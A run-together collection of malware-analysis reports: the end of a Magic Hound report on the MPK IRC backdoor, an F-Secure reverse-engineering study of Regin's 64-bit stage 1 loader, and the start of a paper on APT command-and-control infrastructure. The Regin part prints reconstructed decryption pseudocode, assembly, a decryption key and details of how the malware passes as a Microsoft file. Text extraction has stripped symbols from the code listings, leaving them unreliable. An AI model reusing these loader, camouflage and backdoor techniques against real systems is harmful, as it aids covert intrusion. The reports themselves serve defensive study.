]142:6667.
The MPK bot generates a random lowercase name and uses it to log into the IRC server.
It then sends the following IRC commands: NICK bxphzrjbxp 18/19 http://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects: Welcome to the MpkNet IRC Network The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick mpk.
After connecting to the IRC server, the MPK bot sends custom ping messages and provides an introduction via a Hello message that contains the current logged in user of the infected host, if the user has administrator privileges, the hostname, the UUID of the system, and operating system version.
Figure 7 shows the initial private messages sent from the MPK bot to the mpk account on the C2 server.
Figure 7 Initial private messages sent from MPK to the IRC C2 server The commands available within the MPK IRC bot are called via a jump table, rather than a switch statement used in the custom protocol variant of MPK.
The IRC variant of MPK has a command set (Table 2) that makes this an effective backdoor Trojan, specifically allowing the actors to steal credentials from the targeted system via keylogging, to navigate and interact with the file system, to run arbitrary commands, and to download and execute additional tools on the system.
Command Description Dir Lists the contents of a specified directory Drives Enumerates the storage drives attached to the system and their respective type.
DeleteFile Deletes a specified file NickChange Changes the nickname that the Trojan uses to log into the C2 IRC server.
Writes it to nick435.tmp for subsequent logins.
ProcessList List running processes, including their PID, parent PID, executable name and priority SendFileToServer Uploads a specified file to the C2 server CaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server.
Hello The Trojan introduces itself by sending the current username, if its an admin account or not, the computer name, the system UUID and the OS version.
ProcessKill Terminates a process based on PID RenameFileFolder Renames a file or folder and returns a list of the containing folder to the C2 server.
GetFileOfServer Writes a file from the C2 server to a specified file ExecuteCommand Uses the command prompt sub-process to execute commands and returns their results to the C2.
ExeCuteFile Executes a specified file using ShellExecuteA DeleteFileFolder Deletes a file or a folder SendkeyLogToServer Uploads the TEMP\Save.tmp file to the C2 server DeleteKeyloggerLog Deletes the TEMP\Save.tmp file on the system Table 2 Commands available within MPK IRC Bot 19/19 Magic Hound Campaign Attacks Saudi Targets ATTACK DETAILS INFRASTRUCTURE MAGIC HOUND TOOLSET MAGICHOUND.ROLLOVER MAGICHOUND.FETCH PUPY LOADER MAGICHOUND.DROPIT MAGICHOUND.RETRIEVER MAGICHOUND.LEASH MPKBot CONCLUSION INDICATORS OF COMPROMISE Appendix MAGICHOUND.FETCH PUPY LOADER MAGICHOUND.DROPIT MAGICHOUND.RETRIEVER MAGICHOUND.LEASH MPKBot
W64/Regin, Stage 1 Contents 1.
Introduction 2 2.
General information 2 3.
Hiding technique 3 3.1 Mimicking a valid Microsoft Dynamic Link Library 3 3.2 The certificate 4 4.
Malware analysis 6 4.1 Deployment and startup 6 4.2 Content retrieval 6 4.2.1 The virtual machine and its meta-language 7 4.3 Content loading and mapping 11 4.3.1 The QuickPeParse64 function 12 4.3.2 Headers, Sections and Imports 13 4.3.3 Relocations 14 4.4 Payload invocation 14 4.5 Cleanup 15 5.
Conclusions 16 ABstRACt In this document we describe the inner workings of the stage 1 of the complex malware threat by the name of Regin, specifically the version targeted at 64-bit machines running the Microsoft Windows operating system.
Paolo Palumbo Senior Researcher Security Response F-Secure Labs Twitter: paolo_3_1415926 Contact F-Secure Incident Response irtf-secure.com MAlwARe AnAlysis RepoRt tlp: wHite mailto:irtf-secure.com 2 Malware analysis report 1.
intRoduCtion In this document we present the results of our analysis of a sample of Regins stage 1 for 64-bit machines the document will focus on a number of different items, both high and low level in nature.
We will cover items such as the main purpose of the sample the virtual machine used to retrieve and process the raw payload, with its implementation and its meta- language the samples strategy to remain unnoticed and avoid raising suspicions.
2.
GeneRAl infoRMAtion The analysis in this document is based on the a sample received by F-Secure Labs with the following SHA1: sHA1: 5191d7e28ffd1bc76ec7ed02d861679a77f2c239 An examination of the static properties of the file reveals that the file is a 64-bit Dynamic Link Library for the Microsoft Windows operating system.
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The files PE headers provide also the following interesting information: 1.
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The files PE headers provide also the following interesting information: 1.
The creation time of the file is 19:37:07, 25.11.2011 according to the PE headers TimeDateStamp field.
2.
The linker version is set to 9.00.
This is consistent with Visual Studio 2008 Orcas, initially released in 2007.
Despite not being the latest version of Microsofts development tools available at the moment of the (suspected) compilation of the DLL, Visual Studio 2008 is able to generate x64 binaries.
This might hint at the fact that this binary was produced using an existing development framework as part of an existing operation.
3.
The binary appears to be digitally signed by Microsoft.
The digital signature will be further considered in section 4, but it is at this point interesting to note that the validity range of the certificate does encompass the binary creation date as specified in the PE header.
Keeping in mind that the adversary has done a tremendous effort in camouflaging this binary, it is reasonable to assume that the binary was indeed produced at the time specified by the PE header.
4.
The DLL exports 16 functions, which are simply forwarders for functions exported by wshtcpip.dll, a standard component of Microsoft Windows.
These exports will be considered again in section 4.
The analysis of the samples strings, in combination with the symbols specifically imported from other modules, hint at the fact that the sample we have analyzed might interact at a low level with physical drives of the machine it is running on.
For example, the string PRIVHEAD is a strong indicator that the sample might have some knowledge of Microsoft Windows Logical Disk Manager (LDM) in fact, such PRIVHEAD is the expected magic value for LDMs PRIVATE_HEADER structures.
Proper malware analysis presented in section 4 will confirm these suspicions.
Finally, the string \\.\WINDOWS is particularly interesting.
The format of the string, specifically the WINDOWS substring between angular brackets, is an indication of a strong connection between this sample and 32-bit samples of stage 1 of the complex threat named Regin in fact, samples of Regins 32-bit stage 1 used a similar format to mark strings that needed expansion.
3W64/Regin, Stage 1 3.
HidinG teCHnique We could simply say that the 64-bit version of Regins stage 1 hides in plain sight.
In fact, in contrast with most malicious software, this component is not packed or protected in any way from code inspection and reverse engineering.
Instead, its structure is designed to fool investigators and users of a victim machine into believing that the malware is simply another standard component of the operating system.
Two particular aspects of the sample structure will be covered in detail in sections 3.1 and 3.2.
3.1 Mimicking a valid Microsoft dynamic link library From the DLLs export table and version information, we can see that the original name of the module is wshnetc.dll.
This name is strongly reminescent of the other winsock-related system libraries that can be found on a clean Windows computer, in the system folder.
Moreover, a victim would not be surprised to see that the description of this particular module is Winsock 2 Helper DLL (TL/IPv4).
In general, the characteristics highlighted above in conjunction with the remainder of the file properties would make up for a very convincing decoy even for a technically astute victim.
The file properties as they would be presented to the user are shown in Figure 1.
Figure 1: Visualizing the properties of the sample Looking again at the export table, we notice that the sample exports 16 different functions, which are exactly the same that are exported by Windows own wshtcpip.dll.
The sample does not provide the implementation of these functions, but it simply forwards the exports to wshtcpip.dll in the remote case that someone would try using these functions.
The list of symbols exported by the sample is reported in Listing 1.
Listing 1: Symbols exported by the sample wshnetc.dll : WSHAddressToString wshnetc.dll : WSHEnumProtocols wshnetc.dll : WSHGetBroadcastSockaddr wshnetc.dll : WSHGetProviderGuid Continues overleaf 4 Malware analysis report wshnetc.dll : WSHGetSockaddrType wshnetc.dll : WSHGetSocketInformation wshnetc.dll : WSHGetWSAProtocolInfo wshnetc.dll : WSHGetWildcardSockaddr wshnetc.dll : WSHGetWinsockMapping wshnetc.dll : WSHIoctl wshnetc.dll : WSHJoinLeaf wshnetc.dll : WSHNotify wshnetc.dll : WSHOpenSocket wshnetc.dll : WSHOpenSocket2 wshnetc.dll : WSHSetSocketInformation wshnetc.dll : WSHStringToAddress It is then clear that the authors of this malware have spent a considerable amount of time camouflaging their creation as a system file.
If we consider that it is probable that the sample would be located inside the system folder on a compromised system, it is very easy to see how its techniques might be very effective.
Moreover, effectively stealing the exported functionalities from a different system module might deceive even a victim with a strong technical background.
3.2 the certificate The authors of this sample have also digitally signed the malware, with the intent to give it additional credibility and to make it look as if it was a Microsoft file.
Keeping in mind the what was said about samples exports in section 3.1, it is even more likely that with the digital signature they were trying to camouflage the sample as a legitimate Microsoft Windows system file.
The Authenticode signature is, in itself, valid, but the certificate properties (shown in Figure 2), highlight the inability of the system to find and validate the issuer of this certificate.
The certificates validity period is from 15/7/2011 to 14/10/2012 the fact that the compilation timestamp from the files PE header is inside this range makes us believe that the binary was indeed built on November 25th, 2011.
Moreover, combining the alleged compilation time and the certificate validity range, we can speculate that this binary was probably updated regularly.
The issuer of the certificate is an alleged Microsoft Root Authority.
This name resembles a valid Microsoft issuer, but if we focus on the KeyID we find that such entry does not match any of the known Microsoft Root Authority IDs.
Details about the supposed issuer of the certificate are presented below.
KeyID41 68 26 6a 16 60 0f 36 41 19 af 06 f9 54 4d 06 Certificate Issuer: CNMicrosoft Root Authority OUMicrosoft Corporation OUCopyright (c) 1997 Microsoft Corp Certificate SerialNumber0c ea ea 19 bb bd 4f 86 4e b7 e9 47 97 cf 74 a8 It is also interesting to notice that, while the malware claims to be signed by Microsoft, the certification path does not show the same structure of proper Microsoft-signed binaries specifically, there is a lack of an intermediary before Microsofts Root Certificate Authority (CA).
The certification path for the malware versus the one from a valid Microsoft- signed binary is shown in Figure 3.
It is likely that the authors of this threat have used standard signing tools to create such a certificate hierarchy they then deployed the signed binary in combination with the root certificate.
Continued 5W64/Regin, Stage 1 Figure 2: Inspecting the certificate properties Figure 3: The certificate (left) does not follow the customary approach followed by Microsoft.
A proper Microsoft- signed binary is shown on the right for comparison Regins 64-bit stage 1 component is not the first piece of malware pretending to be signed by Microsoft.
What is more interesting to consider is how this particular certificate might have been useful to keep the sample operating under the radar on a compromised machine.
6 Malware analysis report 4.
MAlwARe AnAlysis In this section we will detail the results of the analysis of Regins 64-bit stage 1 component.
Based on our analysis of the malwares functionalities, the sample can be considered a support module its sole purpose is to facilitate the operation of additional user-mode, 64 bit modules by loading and transferring control to them.
The malwares payload is stored on the disk of the infected machine, in a specific location among the gap between the end of the last partition [1] and the end of the disk itself.
Such payload is read by the malware, possibly decrypted and decompressed, mapped into memory and given control to.
To be usable, the payload must be another 64-bit usermode DLL, with at least a symbol exported by ordinal.
Once the payload completes its duty, Regins 64-bit stage 1 component carefully removes all traces of its presence by overwriting memory areas before freeing them.
From our analysis of the sample, it is clear that whoever has created this piece of malware is a professional developer with a solid experience, with detailed knowledge of low-level and Windows security concepts.
It is also clear that Regin is a complex threat.
What we have seen of Regin hints strongly at capabilities that extend beyond the realm of normal malware: support for basically the whole set of Microsoft NT-based operating systems, including newer, 64 bit versions appropriately selected techniques to remain unseen on compromised systems ability to support generic payloads professional code.
Everything from these samples leads us to believe that Regin is been used as part of an extensive operation.
4.1 deployment and startup At the time of writing, it is not known how the Regin 64-bit samples are deployed to target systems our analysis of the samples interactions with the system show that the the sample is no different from any other Dynamic Link Library.
We therefore believe that Regins 64-bit stage 1 samples are installed and made persistend as any other Dynamic Link Library.
4.2 Content retrieval The malware will attempt to retrieve the its payload from the victim computers hard drive.
The retrieval is performed according to the specifications contained in a meta-program embedded in the malwares body, which initially lies encrypted inside the malware body.
Very early in the execution the malware will decrypt the retrieval program, and execute it to fetch the possible payload from the infected system.
The reconstructed program for the malwares virtual machine is presented in Algorithm 1, while the details of the virtual machine implementation and of its language will be presented in detail in section 4.2.1.
Algorithm 1: Payload retrieval program embedded in the analyzed sample begin id 1 decryption_key [0xA4, 0x4B, 0xAE, 0xF0, 0x98, 0x4C, 0x56, 0x33] output_buffer_size 0xB600 OPERATION_TYPE_LOAD(id) OPERATION_TYPE_DECRYPT(decryption_key) OPERATION_TYPE_DECOMPRESS(output_buffer_size) end [1] Last in the sense of farthest from the beginning of the disk.
7W64/Regin, Stage 1 4.2.1 The virtual machine and its meta-language The sample is designed to retrieve, map and execute a payload from a previously infected system the payload is a PE32 DLL for Microsoft Windows.
How such payload is retrieved and what transformations are applied to it are controlled by a meta program for a simple virtual machine that is embedded in the malware.
The malware will locate and decrypt this program from its own body as the first step in attempting to find and load its payload.
The structure of a program written for this Virtual Machine is presented in Listing 2.
Listing 2: Structure of a program for the virtual machine typedef struct VMProgram QWORD dqField_0 DWORD ddField_8 DWORD ddPayloadSize DWORD ddField_10 DWORD ddSizeOfCode VM_OPCODE voProgramCode [ ] // Variable sized array containing // the sequence of operations that // the VM needs to execute VMProgram The structure of a program for this custom virtual machine is relatively simple, as it consists of what we believe to be a small header and of a sequence of operations.
While the programs header is still largely undocumented [2], the purpose of each of the opcodes has been completely discovered.
The set of virtual machine operations in the code embedded in the sample we analyzed does not include any conditional instruction, which partially accounts for the simplicity of the program structure.
Each instruction of the virtual machine is characterized by a few fields and is optionally followed by enough space to hold a variable sized input argument.
The format of an opcode is presented in Listing 3.
Listing 3: Structure of an individual operation for the virtual machine define OPERATION_TYPE_LOAD 1 define OPERATION_TYPE_DECRYPT 2 define OPERATION_TYPE_DECOMPRESS 3 define OPERATION_TYPE_CLEAN 4 typedef struct VMOpcode BYTE dbOperationType BYTE dbField_1 DWORD ddVe r s ionInformat ion // Suspected DWORD ddSizeOfIncomingArguments BYTE dbArgument [ ] // Variable sized array containing the // (optional) argument to the opcode VMOpcode [2] The sample we analyzed neither accessed most of this header at any point during execution nor referenced it anywhere in its code,making it impossible to completely reconstruct this structures fields.
We were however able to infer the meaning of some of its fields from other information gathered in the course of our analysis.
8 Malware analysis report The Virtual Machine in itself is also very simple.
Beside the handlers, the virtual machine provides only a few facilities: 1.
A counter that gets decreased as the programs various opcodes are consumed.
2.
A pointer to the payload, which is what will be returned in case of termination of the program.
This pointer always points towards the current state of the payload.
3.
A pointer to an auxiliary memory buffer that is used when performing transformations over the payload.
This pointer can be imagined as pointing to the previous version of the payload 4.
A variable that holds the current size of the payload.
Each handler is responsible for performing its own parsing of the (possible) input arguments, executing the operation and advancing to the next operand by skipping the appropriate amount of bytes.
The main virtual machine loop has been highlighted in Figure 4.
Figure 4: Overall structure of the main loop for the virtual machine Below we present the description of the operations supported by the virtual machine.
opeRAtion_type_loAd The most important operation carried out by the Virtual Machine is OPERATION_TYPE_LOAD.
Such operation is the only mandatory operation, as it is the only moment in which the malware accesses any form of storage on the infected system this means that OPERATION_TYPE_LOAD provides the malwares only way to retrieve its payload.
OPERATION_TYPE_ LOAD receives as an argument an id which is used to verify the payload possibly hidden on the disk.
The retrieval of the content begins with the malware trying to retrieve the physical location of the volume that contains the operating system, specifically the WINDOWS directory.
The retrieval of the path to the Windows folder is performed through the Windows API GetwindowsdirectoryA and before that, via a convoluted custom string expansion subroutine.
Specifically, the malware contains code that parses entries between angular brackets ( and ) and tries to replace the item between these markers with the appropriate value.
The particular sample described in this document supports the following strings: system, temp, windows, common and program.
In addition to the items specified above, the malware has the abilities of passing entries between characters to the expandenvironmentstrings Windows API.
This same string expansion routine was encountered in samples of Regins 32- bit stage 1 samples, further confirming the link between these malware samples.
9W64/Regin, Stage 1 Once the correct disk has been identified, the malware proceeds to obtain a handle to it and starts looking for its payload.
On infected systems, the payload will be stored in the gap area between the end of the partition that is physically farthest from the beginning of the disk and the end of the disk itself.
To move to the right location, the malware needs to have an understanding of those low-level structures that allow calculating start and end offsets of the various partitions examples of these structures are MBR, EBR and GPT.
Some systems and partitions are not supported, like those that implement logical disk management (LDM).
Once the malware has identified the correct location on the disk, it will attempt to find a marker structure at the beginning of the gap space.
The format of this structure is presented in Listing 4.
The field Id of MarkerStructure is matched against OPERATION_TYPE_LOADs operand to partially ensure the validity of the block.
Once this has been verified, a ddSize number of bytes is read the CRC32 of the read bytes is calculated and its value matched against the value of the field CRC32 contained in the marker structure.
If both checks are successful, then the buffer is considered valid, and is made available to the virtual machine for further processing.
Listing 4: Marker structure for Regins 64-bit stage 1 payload / size of (MarkerStruct ) 0xC / typedef struct MarkerStruct DWORD ddId DWORD ddSize DWORD ddCRC32 MarkerStruct opeRAtion_type_deCRypt The payload that the malware needs to retrieve and load might need to be decrypted.
In order to support this scenario, the virtual machine that handles the retrieval and transformation of the payload into a PE file image provides an OPERATION_TYPE_DECRYPT opcode.
The pseudo-code for the decryption algorithm is provided in Listing 5.
Listing 5: Reconstructed C version of the decryption routine bool __fastcall DecryptBuffer (BYTE pdbKey , BYTE pdbBuffer , DWORD ddBufferLength , BYTE ppdbBufferOut , DWORD pddBufferOutLen , bool pbSuccess ) bool bResult // r101 DWORD ddInitialBackOffset // eax7 unsigned __int64 i // r89 BYTE pdbRoundKey // rsi10 unsigned int ddInnerCounter // ebp12 DWORD p8ByteBlockIterator // edi12 char dbOffsetsLowByte // cl14 BYTE pByteToDecrypt // rdx14 __int64 ddInKeyCounter // rax14 bResult 0 Continues overleaf 10 Malware analysis report // Check pointer validity if ( pdbKey pdbBuffer pdbSuccess ddBufferLength 0 bDecryptedMalwareConfig ) // Check the length of the encrypted buffer to calculate // the initial starting position for the decrypted loop if ( ddBufferLength 7 ) ddInitialBackOffset ddBufferLength 7 else ddInitialBackOffset 8 // Begin decryption of the buffer for ( i ddBufferLength - ddInitialBackOffset ( unsigned int ) i ddBufferLength i ( unsigned int ) ( i - 8 ) ) pdbRoundKey pdbKey if ( i 0xFFFFFFF8 ) pdbRoundKey pdbBuffer [ i - 8 ] ddInnerCounter 0 p8ByteBlockIterator i do // If out of buffer boundaries, exit loop if ( p8ByteBlockIterator ddBufferLength ) break dbOffsetsLowByte i ddInnerCounter pByteToDecrypt pdbBuffer [ p8ByteBlockIterator ] ddInKeyCounter p8ByteBlockIterator 7 pByteToDecrypt dbOffsetsLowByte pdbRoundKey [ ddInKeyCounter ] while ( ddInnerCounter 8 ) ppdbBufferOut pdbBuffer bResult TRUE pddBufferOutLen ddBufferLength pbSuccess TRUE return bResult Continued 11W64/Regin, Stage 1 OPERATION_TYPE_DECRYPT receives as input argument the decryption key to be used.
The length of the decryption key is hardcoded to 8 bytes.
It might be of interest to the reader that the decryption functionality is not exclusively used for the payload, but also by Regins 64-bit stage 1 itself to decrypt the virtual machine program that it carries in its own body, albeit with a different decryption key.
opeRAtion_type_deCoMpRess One of the commands of the virtual machine is used to decompress data from one buffer into another.
In the sample that was analyzed, only a single compression algorithm was supported, specifically NRV2E with an 8-bit buffer.
Such algorithm is part of the UCL data compression library.
The pseudo code for the handler OPERATION_TYPE_DECOMPRESS is provided in Algorithm 2.
The OPERATION_TYPE_ DECOMPRESS command receives as input argument the size of the output buffer.
Algorithm 2: Pseudo code representation of the OPERATION_TYPE_DECOMPRESS handler data: output_buf_size begin temp_pointer payload_pointer payload_pointer AllocateMemory(output_buf_size) if output_buffer NULL then exit_vm(error) end result decompress_NRV2E_8(temp_pointer, output_buf_size, payload_pointer, payload_size) if result 0x0 then WipeAndFreeMemory(payload_pointer, payload_size) WipeAndFreeMemory(temp_pointer, output_buf_size) exit_vm(error) end Free_Memory(temp_buffer) temp_buffer NULL raw_byte_pointer sizeof(VMOpcode) sizeof(DWORD) return end opeRAtion_type_VM_CleAn This particular opcode is responsible for shutting down the virtual machine in a clean manner.
The handler carefully overwrites the contents of both the payload buffer and auxiliary memory buffer if they are available and terminates the execution of the virtual machine program.
While it would seem logical that this operation would be performed at the end of a VM execution, the program embedded in the sample does not make use of it.
4.3 Content loading and mapping Once the payload has been located and extracted from the compromised machine and all the necessary transformations have been applied to it, Regins 64-bit stage 1 component will attempt to load the image.
The loading process is quite generic and well coded, providing a further confirmation that the authors of this particular family of malware are knowledgeable when it comes to the operating systems internals and with low level structures and concepts.
The various aspects of the loading process will be individually detailed in sections 4.3.1, 4.3.2 and 4.3.3.
12 Malware analysis report 4.3.1 The QuickPeParse64 function Throughout the code of its loader the malware uses extensively the QuickPeParse64 subroutine to quickly get information about key elements of the PE structure.
Code for the QuickPeParse64 subroutine is presented in Listing 7, while the format of its output is described in Listing 6.
Listing 6: Format of QuickPeParse64s output typedef struct PePointers IMAGE_DOS_HEADER pDosHeader IMAGE_NT_HEADERS pNtHeader IMAGE_SECTION_HEADER pSectionHeaders [ ] IMAGE_DATA_DIRECTORY pDataDirectories [ ] PePointers Listing 7: The QuickPeParse64 subroutine bool __fastcall QuickPeParse64 ( void pPeFile , PePointers pParsedPe ) QuickPeParse64 proc near arg_8 word ptr 10h arg_10 word ptr 18h arg_18 dword ptr 20h xor r8d , r8d mov r9 , rdx cmp rdx , r8 jz short exit_func cmp rcx , r8 jz short exit_func mov eax , 7777h mov edx , 2D3Ah mov [ rsparg_8 ] , ax mov [ rsparg_18 ] , 77777777h mov [ rsparg_10 ] , ax movzx eax , [ r sparg_8 ] xor ax , dx DOS header magic check (MZ) cmp ax , [ rcxIMAGE_DOS_HEADER.e_magic ] jnz short exit_func mov eax , [ r sparg_18 ] movsxd rdx , [ rcxIMAGE_DOS_HEADER.e_lfanew] xor eax , 77773227h Continues overleaf 13W64/Regin, Stage 1 COFF header magic check ( PE ) cmp eax , dword ptr [ rdxrcxIMAGE_OPTIONAL_HEADER64.Magic ] jnz short exit_func movzx eax , [ rsparg_10 ] mov r10d , 757Ch xor ax , r10w Verify that the file is a PE32 cmp ax , [ rdxrcxIMAGE_NT_HEADERS.OptionalHeader.
Magic ] jnz short exit_func Prepare output by filling the result structure mov [ r9PePointers .pDosHeader ] , rcx movsxd rdx , [ rcxIMAGE_DOS_HEADER.e_lfanew] mov r8b , TRUE add rdx , rcx mov [ r9PePointers .pPeHeader ] , rdx movzx eax , [ rdxIMAGE_NT_HEADERS.FileHeader.
SizeOfOptionalHeader ] lea rcx , [ raxrdx18h ] add rdx , 88h mov [ r9PePointers .pSectionHeaders ] , rcx mov qword ptr [ r9PePointers .pDataDirectories ] , rdx exit_func : mov al , r8b retn QuickPeParse64 endp The QuickPeParse subroutine is not an exclusive characterstic of this malware.
In fact, samples of Regins 32-bit stage 1 samples also included a version of this subroutine the main differences lie in the fact that the 64-bit version of the code use encrypted constants and that the code has been produced using a different toolchain.
This particular aspect not only allows us to link together samples of the 32 and 64-bit version of Regins stage 1 components, but also to mark the 64-bit version as the evolution of its 32-bit counterpart.
4.3.2 Headers, Sections and Imports In order to map the payload, the malware will allocate a segment of memory that is big enough to hold the memory mapped image of the payload.
The mapping subroutine allows for client code to specify a preferred address to map the payload at if the client specifies a loading address of 0x0, then the mapping function will use the preferred imagebase specified in the PE file images PE header as a preferred allocation base this is the case for the sample that has been analyzed [3].
Would the allocation with any of these specific addresses fail, the code will fall back to let the system allocate enough memory at an address of its choice.
Continued [3] This behavior would indicate that the functionality is possibly part of a shared library that is used by a number of projects.
14 Malware analysis report Once the memory has been allocated, the code maps first the headers then each of the sections in a loop.
The code responsible to map each of the sections is shown in Figure 5.
Figure 5: The code responsible for mapping the sections Once the headers and sections are in place, the malware focuses on the dependencies of the payload and begins processing its import directory.
The loader code will take care not only of resolving symbols, but also of loading additional modules as required.
The malware supports symbols exported by name and by ordinal.
4.3.3 Relocations After the previous stages of the mapping are complete, the malware will continue the loading process by applying relocations in case there would be need.
The fact that the PE file loader implemented supports relocations makes the loader more flexible and allows to the malware to load a wider variety of payloads.
The following relocation items are supported explicitly by the malware: IMAGE_REL_BASED_ABSOLUTE IMAGE_REL_BASED_HIGHLOW IMAGE_REL_BASED_DIR64 If relocation entries of a type different from the ones above are encountered, the relocation process will fail gracefully.
This is yet another indication that the authors of this family of malwares are experienced developers that take time to create code that is well engineered and fault tolerant.
4.4 payload invocation After the payload has been retrieved and loaded into memory alongside its dependencies, Regins 64-bit stage 1 will first transfer control to the entrypoint of the payload.
Once execution of the payloads entrypoint is completed, the malware will process the payloads export table, retrieve the address for the entry exported with ordinal 1, and execute it.
The relevant code portion, appropriately edited, is presented in Listing 8.
The way the payload is handled and control is passed to it, makes it clear that the next stage of this complex threat is also a 64-bit Dynamic Link Library.
15W64/Regin, Stage 1 Listing 8: Invocation of the next stage mov rcx , [ rsp28hpPayload ] pPe64File xor edx , edx call CustomLoadDll Completely loads the input PE and invokes its entrypoint mov rbx , rax test rax , rax jz short cleanup_1 mov edx , 1 dqOrdinal mov rcx , rax hModule call GetAddressOfSymbolExportedByOrdinal test rax , rax jz short cleanup_2 mov rcx , r d i Pass needed parameter to the function call rax Invoke Ordinal 1 of the payload xor esi , es i jmp short cleanup_1 With the information extracted by analyzing the code of the sample, it is possible to reconstruct the type of parameters passed to the payloads export 1.
The reconstructed prototype of the exported entry is presented in Listing 9.
Listing 9: Reconstructed prototype for Ordinal 1 of the payload typedef struct PayloadInputStructure HMODULE hSelf HTHREAT hThread / Loaded by LoadLibraryEx ( .
. . ,
DONT_RESOLVE_DLL_REFERENCES) / HMODULE hSelfNoDep PayloadInputStructure // Reconstructed prototype void __fastcall ordinal_1 ( PayloadInputStructure pInput ) 4.5 Cleanup After the invocation of the payloads export number 1, Regins 64-bit stage 1 component will proceed to unload the payload and terminate operations.
The malware will first invoke the payloads entry point passing the DLL_PROCESS_ DETACH parameter, to notify the payload of the impending unload.
After this, stage 1 will start removing the artifacts 16 Malware analysis report that were associated to the execution.
Each item that was associated with the payload and its interactions with stage 1 is carefully first overwritten then, where applicable, deallocated.
In this final part of the execution, we also find references to the a value of 0xFEDCBAFF such value is just one off from the value of 0xFEDCBAFE, which was observed in samples of Regins 32-bit stage 1 component.
5.
ConClusions Our analysis of the Regins 64-bit stage 1 component, as detailed in this document, shows that the malware is designed to retrieve a payload from an already infected system, map it into memory and transfer control to it.
The utilitarian nature of the rootkit makes it obvious that this a support module, designed to enable the presence of something surely more meaningful.
Most of the malwares code is fairly generic, therefore allowing it to load any kind of payload as long as it satisfies a minimum number of constraints mostly related to how it is stored on the disk.
This is a sign that Regin is designed as a platform rather than an individual entity.
Given the support nature of Regins 64-bit stage 1 component, precise attribution is fairly challenging.
The similarities with the 32-bit version of Regins stage 1 are very strong, starting from the fact the two different versions of the malware have the same high level purpose, to the fact that they share code like the QuickPeParse subroutine and the string expansion functionalities.
We are quite confident in claiming that this 64-bit version of Regins stage 1 component is an evolution of the 32-bit version, designed to work on more modern versions of the Windows operating system.
Like with the 32-bit version, we have observed a great care put into this malware by its authors.
The code of the malware is tidy and safe, making it less likely to malfunction or crash during operations.
Its camouflage is similarly done with a great attention to details, effectively making the malware blend seamlessly with the rest of Windows standard system files.
All of this supports us in confirming our suspicion that the authors of Regin are skilled developers, experienced in the ways of software design and implementation.
1.
Introduction 2.
General information 3.
Hiding technique 3.1 Mimicking a valid Microsoft Dynamic Link Library 3.2 The certificate 4.
Malware analysis 4.1 Deployment and startup 4.2 Content retrieval 4.2.1 The virtual machine and its meta-language 4.3 Content loading and mapping 4.3.1 The QuickPeParse64 function 4.3.2 Headers, Sections and Imports 4.3.3 Relocations 4.4 Payload invocation 4.5 Cleanup 5.
Conclusions
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Command and Control in the Fifth Domain Command Five Pty Ltd February 2012 ABSTRACT This paper presents the findings of an extensive investigation into command and control infrastructure used by an Advanced Persistent Threat.
Findings include technical details of malicious software, and associated command and control protocols.
These findings are drawn upon to identify modus operandi and demonstrate links between a number ofmajor targetedattacks includingthe recent Sykipotattacks, the July 2011 SK Communications hack, the March 2011 RSA breach, andthe series of coordinatedcyber attacks dubbed NightDragon.
WARNING Thispaper discusses malicious activityandidentifies Internet Protocol (IP) addresses,domain names, and websites that may contain malicious content.
For safetyreasons these locations should notbe accessed, scanned, probed,or otherwise interactedwith unless their trustworthiness can be verified.
BACKGROUND On 28 July 2011 SK Communications announced it hadbeen the subject ofa hack whichresultedin the theft of the personal details of up to 35 million people1.
The attackers infected a number of SK Communications computers withmalicious software (malware) and, by issuing command andcontrol (C2) instructions to the malware, were able togain access to, and exfiltrate large quantities of data.
The attack itselfwas complex,well planned and likelypart of a broader, concerted hacking effort attributable to an AdvancedPersistentThreat2.
1 For detailsof the hackrefer to the CommandFive paper SKHack by an AdvancedPersistent Threat.
(
CommandFive Pty Ltd, 2011) 2 For a definition of the term AdvancedPersistent Threatrefer to the Command Five paper AdvancedPersistent Threats: A Decade in Review.
(
Command Five Pty Ltd, 2011) The malware usedin the attack was programmed tocommunicate with several callback domains.
The malware located its C2 server(s) by resolving these domains into IP addresses using the ubiquitous Domain Name System (DNS) 3 protocol.
These communications are depictedin Figure 1.
FIGURE 1: DEPICTION OF COMMUNICATIONS 3 DNS is fundamental on the Internet.
It is a form of directory assistance to help computerscommunicate withother computers.
Its use is analogous to a person callingdirectory assistance to find out what phone number to dialto speakto a certain person.
1.
Using the Domain Name System (DNS) protocol, the computer asksaDNSserver fordirectionstothecallbackdomain.
2.
TheDNSserveradvisesthatthecallbackdomainislocatedatIP addressx.x.x.x.
3.
Themalwarecommunicateswiththe C2serverlocatedatIP addressx.x.x.xtoobtainC2instructionsand/ortosenda response.
4.
TheC2serverprovidesadditionalC2instructionsto themalware.
Computer infectedwith malware Commandand control (C2)server 3.
4.
DNSserver 1.
2.
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TABLE 2: FORMAT OF DECODED LURK COMMUNICATIONS Similar communications 9 are known to be generated by malware that communicates with the callback domain office.windowupdate.org a domain that is linked to alyac.org not only by the communications protocol but also by both domain registration tactic andinfrastructure.
The domain windowupdate.org is ostensibly registered to Microsoft Corporation.
The administrative address andcontactinformation listed in the domain registration is identical to that listed for the legitimate Microsoft domain windowsupdate.com10.
This is the same tactic used bythe attacker withregistration ofalyac.org11.
8 The OSVERSIONINFOEX system information structure includes major and minor version numbers, a build number, platform identifier and information about product suites and the latest Service Pack installed.
(
Microsoft Corporation, 2011) 9 The malware Troj/AgentUDRwithMD5hash 4237 7E72 4875 2912 5EBE 7C95 02B9 4CD7 is known to generate communications of the format LURK0\xAC\x01, LURK0\xAD\x01, LURK0\B3\x01 and LURK0\xB5\x01.
(
SophosLtd.,
2011) 10 The legitimate domain windowsupdate.com is used by Microsoft to deliver updatesto the Windows OS.
11 The domain alyac.org wasregistered usingregistration details that madethe domain appear asthoughit wasassociatedwiththe legitimate, trustedentity ESTsoft the producer of ALYac antivirus software.
(
CommandFive Pty Ltd,2011) The domain windowupdate.org previously pointed to SouthKorean IPaddress 222.122.20.241 an IP address to which alyac.org also previously pointed.
This shared infrastructure further suggests thatthe observed communications to path.alyac.org andthose tooffice.windowupdate.org maybe linked tothe same attacker.
The malware that generates the LURK communications sent to office.windowupdate.org was signed using a compromised code signing certificate belonging toYNK Japan Inc a producer of online games.
The same certificate has been usedin a number of attacks including by Hupigon malware12 and malware similar to that used in the SK Communications hack.
